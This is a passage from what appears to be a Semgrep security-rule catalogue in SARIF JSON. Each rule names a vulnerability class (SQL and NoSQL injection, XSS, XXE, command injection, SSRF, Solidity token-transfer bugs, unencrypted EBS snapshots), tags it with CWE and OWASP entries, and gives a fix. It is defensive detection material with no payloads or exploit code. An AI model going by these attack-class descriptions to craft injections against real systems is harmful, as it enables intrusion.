lacks access control checks in _transfer()"},"help":{"markdown":"Custom ERC721 implementation lacks access control checks in _transfer()\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.erc721-arbitrary-transferfrom.erc721-arbitrary-transferfrom)\n - [https://twitter.com/BlockSecAlert/status/1516289618605654024](https://twitter.com/BlockSecAlert/status/1516289618605654024)\n - [https://etherscan.io/address/0xf3821adaceb6500c0a202971aecf840a033f236b](https://etherscan.io/address/0xf3821adaceb6500c0a202971aecf840a033f236b)\n","text":"Custom ERC721 implementation lacks access control checks in _transfer()"},"helpUri":"https://semgrep.dev/r/solidity.security.erc721-arbitrary-transferfrom.erc721-arbitrary-transferfrom","id":"solidity.security.erc721-arbitrary-transferfrom.erc721-arbitrary-transferfrom","name":"solidity.security.erc721-arbitrary-transferfrom.erc721-arbitrary-transferfrom","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.erc721-arbitrary-transferfrom.erc721-arbitrary-transferfrom"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.sql.go-vanillasql-format-string-sqli-taint-med-conf.go-vanillasql-format-string-sqli-taint-med-conf)\n - [https://golang.org/pkg/database/sql/](https://golang.org/pkg/database/sql/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.net.sql.go-vanillasql-format-string-sqli-taint-med-conf.go-vanillasql-format-string-sqli-taint-med-conf","id":"go.net.sql.go-vanillasql-format-string-sqli-taint-med-conf.go-vanillasql-format-string-sqli-taint-med-conf","name":"go.net.sql.go-vanillasql-format-string-sqli-taint-med-conf.go-vanillasql-format-string-sqli-taint-med-conf","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.sql.go-vanillasql-format-string-sqli-taint-med-conf.go-vanillasql-format-string-sqli-taint-med-conf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Flask does not automatically escape Jinja templates unless they have .html, .htm, .xml, or .xhtml extensions. This could lead to XSS attacks. Use .html, .htm, .xml, or .xhtml for your template extensions. See https://flask.palletsprojects.com/en/1.1.x/templating/#jinja-setup for more information."},"help":{"markdown":"Flask does not automatically escape Jinja templates unless they have .html, .htm, .xml, or .xhtml extensions. This could lead to XSS attacks. Use .html, .htm, .xml, or .xhtml for your template extensions. See https://flask.palletsprojects.com/en/1.1.x/templating/#jinja-setup for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.unescaped-template-extension.unescaped-template-extension)\n - [https://flask.palletsprojects.com/en/1.1.x/templating/#jinja-setup](https://flask.palletsprojects.com/en/1.1.x/templating/#jinja-setup)\n - [https://semgrep.dev/blog/2020/bento-check-unescaped-template-extensions-in-flask/](https://semgrep.dev/blog/2020/bento-check-unescaped-template-extensions-in-flask/)\n - [https://bento.dev/checks/flask/unescaped-file-extension/](https://bento.dev/checks/flask/unescaped-file-extension/)\n","text":"Flask does not automatically escape Jinja templates unless they have .html, .htm, .xml, or .xhtml extensions. This could lead to XSS attacks. Use .html, .htm, .xml, or .xhtml for your template extensions. See https://flask.palletsprojects.com/en/1.1.x/templating/#jinja-setup for more information."},"helpUri":"https://semgrep.dev/r/python.flask.security.unescaped-template-extension.unescaped-template-extension","id":"python.flask.security.unescaped-template-extension.unescaped-template-extension","name":"python.flask.security.unescaped-template-extension.unescaped-template-extension","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.unescaped-template-extension.unescaped-template-extension"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Special requests can determine whether a file exists on a filesystem that's outside the Rails app's root directory. To fix this, set config.serve_static_assets = false."},"help":{"markdown":"Special requests can determine whether a file exists on a filesystem that's outside the Rails app's root directory. To fix this, set config.serve_static_assets = false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.file-disclosure.file-disclosure)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_file_disclosure.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_file_disclosure.rb)\n - [https://groups.google.com/g/rubyonrails-security/c/23fiuwb1NBA/m/MQVM1-5GkPMJ](https://groups.google.com/g/rubyonrails-security/c/23fiuwb1NBA/m/MQVM1-5GkPMJ)\n","text":"Special requests can determine whether a file exists on a filesystem that's outside the Rails app's root directory. To fix this, set config.serve_static_assets = false."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.file-disclosure.file-disclosure","id":"ruby.lang.security.file-disclosure.file-disclosure","name":"ruby.lang.security.file-disclosure.file-disclosure","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.file-disclosure.file-disclosure"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks.  These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead  the Python documentation recommends using `defusedxml`."},"help":{"markdown":"The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks.  These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead  the Python documentation recommends using `defusedxml`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.use-defused-xml-parse.use-defused-xml-parse)\n - [https://docs.python.org/3/library/xml.html](https://docs.python.org/3/library/xml.html)\n - [https://github.com/tiran/defusedxml](https://github.com/tiran/defusedxml)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n","text":"The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks.  These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead  the Python documentation recommends using `defusedxml`."},"helpUri":"https://semgrep.dev/r/python.lang.security.use-defused-xml-parse.use-defused-xml-parse","id":"python.lang.security.use-defused-xml-parse.use-defused-xml-parse","name":"python.lang.security.use-defused-xml-parse.use-defused-xml-parse","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.use-defused-xml-parse.use-defused-xml-parse"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Remote debugging protocol does not perform any authentication, so exposing it too widely can be a security risk."},"help":{"markdown":"Remote debugging protocol does not perform any authentication, so exposing it too widely can be a security risk.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.playwright.security.audit.playwright-exposed-chrome-devtools.playwright-exposed-chrome-devtools)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Remote debugging protocol does not perform any authentication, so exposing it too widely can be a security risk."},"helpUri":"https://semgrep.dev/r/javascript.playwright.security.audit.playwright-exposed-chrome-devtools.playwright-exposed-chrome-devtools","id":"javascript.playwright.security.audit.playwright-exposed-chrome-devtools.playwright-exposed-chrome-devtools","name":"javascript.playwright.security.audit.playwright-exposed-chrome-devtools.playwright-exposed-chrome-devtools","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.playwright.security.audit.playwright-exposed-chrome-devtools.playwright-exposed-chrome-devtools"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Insecure transport rules to catch socket connections to http, telnet, and ftp servers. This is dangerous because these are protocols that do not encrypt traffic."},"help":{"markdown":"Insecure transport rules to catch socket connections to http, telnet, and ftp servers. This is dangerous because these are protocols that do not encrypt traffic.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.socket-request.socket-request)\n - [https://docs.oracle.com/javase/8/docs/api/java/net/Socket.html](https://docs.oracle.com/javase/8/docs/api/java/net/Socket.html)\n","text":"Insecure transport rules to catch socket connections to http, telnet, and ftp servers. This is dangerous because these are protocols that do not encrypt traffic."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.java-stdlib.socket-request.socket-request","id":"problem-based-packs.insecure-transport.java-stdlib.socket-request.socket-request","name":"problem-based-packs.insecure-transport.java-stdlib.socket-request.socket-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.java-stdlib.socket-request.socket-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"If unverified user data can reach the `phantom` methods it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `phantom` methods it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-wkhtml-injection.express-wkhtmltoimage-injection)\n - [https://www.npmjs.com/package/wkhtmltopdf](https://www.npmjs.com/package/wkhtmltopdf)\n","text":"If unverified user data can reach the `phantom` methods it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-wkhtml-injection.express-wkhtmltoimage-injection","id":"javascript.express.security.express-wkhtml-injection.express-wkhtmltoimage-injection","name":"javascript.express.security.express-wkhtml-injection.express-wkhtmltoimage-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-wkhtml-injection.express-wkhtmltoimage-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.nosql.mongodb-taint.mongodb-taint)\n - [https://docs.rs/mongodb/latest/mongodb/](https://docs.rs/mongodb/latest/mongodb/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/rust.hyper.nosql.mongodb-taint.mongodb-taint","id":"rust.hyper.nosql.mongodb-taint.mongodb-taint","name":"rust.hyper.nosql.mongodb-taint.mongodb-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.nosql.mongodb-taint.mongodb-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure EBS Snapshot is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure EBS Snapshot is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ebs-snapshot-encrypted-with-cmk.aws-ebs-snapshot-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure EBS Snapshot is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ebs-snapshot-encrypted-with-cmk.aws-ebs-snapshot-encrypted-with-cmk","id":"terraform.aws.security.aws-ebs-snapshot-encrypted-with-cmk.aws-ebs-snapshot-encrypted-with-cmk","name":"terraform.aws.security.aws-ebs-snapshot-encrypted-with-cmk.aws-ebs-snapshot-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ebs-snapshot-encrypted-with-cmk.aws-ebs-snapshot-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.db.peewee-django.peewee-django)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query."},"helpUri":"https://semgrep.dev/r/python.django.db.peewee-django.peewee-django","id":"python.django.db.peewee-django.peewee-django","name":"python.django.db.peewee-django.peewee-django","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.db.peewee-django.peewee-django"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"help":{"markdown":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.os.tainted-dotenv-variable-fastapi.tainted-dotenv-variable-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"helpUri":"https://semgrep.dev/r/python.fastapi.os.tainted-dotenv-variable-fastapi.tainted-dotenv-variable-fastapi","id":"python.fastapi.os.tainted-dotenv-variable-fastapi.tainted-dotenv-variable-fastapi","name":"python.fastapi.os.tainted-dotenv-variable-fastapi.tainted-dotenv-variable-fastapi","properties":{"precision":"very-high","tags":["CWE-454: External Initialization of Trusted Variables or Data Stores","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.os.tainted-dotenv-variable-fastapi.tainted-dotenv-variable-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The identified XML parser permits the use of external Document Type Definitions (DTDs). This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The identified XML parser permits the use of external Document Type Definitions (DTDs). This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.schemafactory-xxe.schemafactory-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The identified XML parser permits the use of external Document Type Definitions (DTDs). This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.schemafactory-xxe.schemafactory-xxe","id":"java.lang.security.xxe.schemafactory-xxe.schemafactory-xxe","name":"java.lang.security.xxe.schemafactory-xxe.schemafactory-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.schemafactory-xxe.schemafactory-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found a formatted template string passed to 'template. HTMLAttr()'. 'template.HTMLAttr()' does not escape contents. Be absolutely sure there is no user-controlled data in this template or validate and sanitize the data before passing it into the template."},"help":{"markdown":"Found a formatted template string passed to 'template. HTMLAttr()'. 'template.HTMLAttr()' does not escape contents. Be absolutely sure there is no user-controlled data in this template or validate and sanitize the data before passing it into the template.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.unescaped-data-in-htmlattr.unescaped-data-in-htmlattr)\n - [https://golang.org/pkg/html/template/#HTMLAttr](https://golang.org/pkg/html/template/#HTMLAttr)\n","text":"Found a formatted template string passed to 'template. HTMLAttr()'. 'template.HTMLAttr()' does not escape contents. Be absolutely sure there is no user-controlled data in this template or validate and sanitize the data before passing it into the template."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.unescaped-data-in-htmlattr.unescaped-data-in-htmlattr","id":"go.lang.security.audit.net.unescaped-data-in-htmlattr.unescaped-data-in-htmlattr","name":"go.lang.security.audit.net.unescaped-data-in-htmlattr.unescaped-data-in-htmlattr","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.unescaped-data-in-htmlattr.unescaped-data-in-htmlattr"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.os.tainted-os-command-stdlib-django-secure-default.tainted-os-command-stdlib-django-secure-default)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module](https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"helpUri":"https://semgrep.dev/r/python.django.os.tainted-os-command-stdlib-django-secure-default.tainted-os-command-stdlib-django-secure-default","id":"python.django.os.tainted-os-command-stdlib-django-secure-default.tainted-os-command-stdlib-django-secure-default","name":"python.django.os.tainted-os-command-stdlib-django-secure-default.tainted-os-command-stdlib-django-secure-default","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.os.tainted-os-command-stdlib-django-secure-default.tainted-os-command-stdlib-django-secure-default"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Parameter \"from\" is checked at incorrect position in \"_allowances\" mapping"},"help":{"markdown":"Parameter \"from\" is checked at incorrect position in \"_allowances\" mapping\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.tecra-coin-burnfrom-bug.tecra-coin-burnfrom-bug)\n - [https://twitter.com/Mauricio_0218/status/1490082073096462340](https://twitter.com/Mauricio_0218/status/1490082073096462340)\n - [https://etherscan.io/address/0xe38b72d6595fd3885d1d2f770aa23e94757f91a1](https://etherscan.io/address/0xe38b72d6595fd3885d1d2f770aa23e94757f91a1)\n","text":"Parameter \"from\" is checked at incorrect position in \"_allowances\" mapping"},"helpUri":"https://semgrep.dev/r/solidity.security.tecra-coin-burnfrom-bug.tecra-coin-burnfrom-bug","id":"solidity.security.tecra-coin-burnfrom-bug.tecra-coin-burnfrom-bug","name":"solidity.security.tecra-coin-burnfrom-bug.tecra-coin-burnfrom-bug","properties":{"precision":"very-high","tags":["CWE-688: Function Call With Incorrect Variable or Reference as Argument","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.tecra-coin-burnfrom-bug.tecra-coin-burnfrom-bug"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a segment of a Flask template where autoescaping is explicitly disabled with '{% autoescape off %}'. This allows rendering of raw HTML in this segment. Ensure no user data is rendered here, otherwise this is a cross-site scripting (XSS) vulnerability, or turn autoescape on."},"help":{"markdown":"Detected a segment of a Flask template where autoescaping is explicitly disabled with '{% autoescape off %}'. This allows 